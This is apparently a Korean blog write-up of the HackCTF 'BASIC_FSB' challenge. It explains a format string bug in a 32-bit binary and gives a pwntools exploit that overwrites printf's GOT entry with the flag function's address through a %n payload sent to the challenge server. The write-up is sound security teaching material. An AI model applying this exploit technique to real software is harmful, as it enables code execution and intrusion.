System/PWNABLE
[HackCTF] BASIC_FSB
ElAsJay
2021. 2. 10. 02:52
728x90
check
- 32bit
- 딱히 보호기법이 적용되어 있지는 않다.
Analyze
pseudo code
- fgets 함수를 통해 문자열 s에 표준입력으로 1024byte만큼 입력받고, s에 저장된 값을 0x400byte만큼 format에 저장한다. 그리고 printf에 format을 통째로 집어넣으면서 FSB가 발생한다.
- format의 주소를 찾아야겠다!
- format에서 발생하는 FSB를 이용해 printf의 got 주소를 flag의 주소로 덮는다.
- flag 함수의 주소는 0x80485b4 = 134514100
실행
입력한 데이터가 첫번째 포맷스트링x부터 차례로 쓰여지는 것을 확인할 수 있다.
Exploit
printf@got 주소 4byte의 영향을 받기 때문에 flag 함수의 주소에서 4byte를 뺀 값을 전달해야 제대로 flag 함수로 overwrite할 수 있게된다.
from pwn import *
#p = process("./basic_fsb")
p = remote("ctf.j0n9hyun.xyz", 3002)
elf = ELF("./basic_fsb")
#printf_got = elf.got['printf']
printf_got = 0x804a00c
pl = p32(printf_got)
pl += "%134514096c%n"
p.recvuntil("input : ")
p.sendline(pl)
p.interactive()
+) %1$n 으로하면 EOF를 만난다고 하며 플래그를 구할 수 없었다
SMALL